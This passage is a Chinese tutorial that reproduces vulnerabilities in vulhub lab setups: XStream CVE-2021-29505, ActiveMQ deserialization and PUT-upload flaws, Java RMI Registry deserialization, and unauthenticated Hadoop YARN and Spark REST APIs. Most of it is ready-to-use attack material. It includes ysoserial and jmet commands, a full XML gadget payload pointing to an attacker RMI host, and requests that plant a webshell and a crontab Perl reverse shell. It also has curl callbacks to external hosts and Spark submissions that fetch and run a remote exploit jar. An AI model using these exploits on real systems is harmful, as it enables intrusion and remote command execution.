XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令

漏洞复现

使用vulhub搭建环境,启动一个Springboot + XStream 1.4.16的环境:环境启动后,我们向 http://your-ip:8080 发送一个正常的XML数据包,将会得到预期返回

  1. 使用ysoserial的JRMPListener启动一个恶意的RMI Registry
1
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"

这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象

2)向目标服务器发送CVE-2021-29505的XML POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3169

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求

refer:

0x0D Apache ActiveMQ

1. ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞描述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序未能限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码

漏洞复现

使用vulhub搭建环境,环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问 http://your-ip:8161 即可看到web管理页面,漏洞不需要web即可利用

利用过程

1
2
3
1) 构造(可以使用ysoserial)可执行命令的序列化对象
2) 作为一个消息,发送给目标61616端口
3) 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME

执行:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此时会给目标ActiveMQ添加一个名为event的队列,可以通过 http://your-ip:8161/admin/browse.jsp?JMSDestination=event 看到这个队列中所有消息,点击查看这条消息即可触发命令执行

refer:

2. Activemq PUT方法文件上传漏洞(CVE-2016-3088)

漏洞描述

Apache ActiveMQ Fileserver web程序存在远程代码执行漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码

背景简述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

1
2
1. 其使用率并不高
2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用

漏洞详情

本漏洞出现在fileserver应用中,漏洞原理就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

1
2
3
1)写入webshell:fileserver不解析jsp,admin和api两个应用都需要登录才能访问,有限制
2)写入cron或ssh key等文件:可直接反弹拿shell,也比较方便,缺点是需要root权限
3)写入jar或jetty.xml等库和配置文件:写入jar,需要jar的后门;写入xml配置文件,需要知道activemq的绝对路径

环境搭建

使用vulhub搭建及运行漏洞环境:

1
2
docker-compose build
docker-compose up -d

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞出现在web控制台中。

访问 http://your-ip:8161/ 看到web页面,说明环境已成功运行

写入webshell

默认的ActiveMQ账号密码均为admin,首先访问 http://your-ip:8161/admin/test/systemProperties.jsp ,查看ActiveMQ的绝对路径

然后上传webshell:

1
2
3
4
5
6
7
8
9
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

1
2
3
4
5
6
7
8
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

登录访问webshell

写入crontab反弹shell

前提:需要ActiveMQ是root运行,否则不能写入cron文件

首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

1
2
3
4
5
6
7
8
9
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root:

1
2
3
4
5
6
7
8
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204,说明写入成功。等待反弹shell

refer:

0x0E Java RMI

1. Java RMI Registry 反序列化漏洞(<=jdk8u111)

漏洞描述

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1)

漏洞环境

使用vulhub,执行如下命令编译及启动RMI Registry和服务器:

1
2
docker-compose build
docker-compose run -e RMIIP=your-ip -p 1099:1099 rmi

其中,your-ip是服务器IP,客户端会根据这个IP来连接服务器。环境启动后,RMI Registry监听在1099端口

漏洞复现

通过ysoserial的exploit包中的RMIRegistryExploit进行攻击

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server"

2. Java RMI Registry 反序列化漏洞(<jdk8u232_b09)

漏洞描述

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1)

自jdk8u121起,Registry对反序列化的类做了白名单限制

1
2
3
4
5
6
7
8
9
10
11
12
13
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

refer: http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/

漏洞复现

通过ysoserial的exploit包中的RMIRegistryExploit2或者3进行攻击

1
2
3
4
5
// 开启JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 "curl http://xxxxx.burpcollaborator.net"

// 发起攻击
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.31.88 1099 jrmphost 8888

0x0F Apache Hadoop/Spark

1. Hadoop YARN ResourceManager 未授权访问

漏洞描述

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问,利用其远程执行命令。

环境搭建

使用vulhub搭建环境,环境启动后,访问 http://your-ip:8088 即可看到Hadoop YARN ResourceManager WebUI页面

漏洞利用

利用过程:

1
2
3
4
5
1) 在本地监听等待反弹 shell 连接

2) 调用 New Application API 创建 Application

3) 调用 Submit Application API 提交

利用exp 修改lhost反弹shell的IP即可

1
2
3
4
# 监听666端口,然后运行exp即可收获shell

nc -lnvp 6666
python exploit.py

refer:

2. Spark REST API未授权漏洞利用分析

漏洞描述

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎,是开源的类Hadoop MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果,Spark也提供了 WEB UI图形化界面和相应的 REST API来方便用户操作。

Spark权限设置不当,可能导致攻击者无需认证即可通过该 REST API来操作Spark创建任务、删除任务、查看任务结果等,从而最终获得执行任意指令的能力

漏洞环境

使用vulhub,执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave:

1
docker-compose up -d

环境启动后,访问http://your-ip:8080 即可看到master的管理页面,访问http://your-ip:8081 即可看到slave的管理页面

漏洞利用

该漏洞本质是未授权的用户可以向管理节点提交一个应用(恶意代码)

提交方式有两种:

1
2
3
1) 利用REST API

2) 利用submissions网关(集成在7077端口中)

应用可以是Java或Python,就是一个最简单的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");

for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}

// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();

try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}

return output.toString();
}
}

将其编译成JAR,放在任意一个HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

用REST API方式提交应用

standalone模式下,master将在6066端口启动一个HTTP服务器,向这个端口提交REST格式的API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680

{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}

其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数

返回的包中有submissionId,然后访问 http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果

注意:提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实际情况,slave可能有多个

利用submissions网关

如果6066端口不能访问,或做了权限控制,可以利用master的主端口7077,来提交应用

方法是利用Apache Spark自带的脚本 bin/spark-submit:

1
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

注意:如果指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。

refer:

0xFF Reference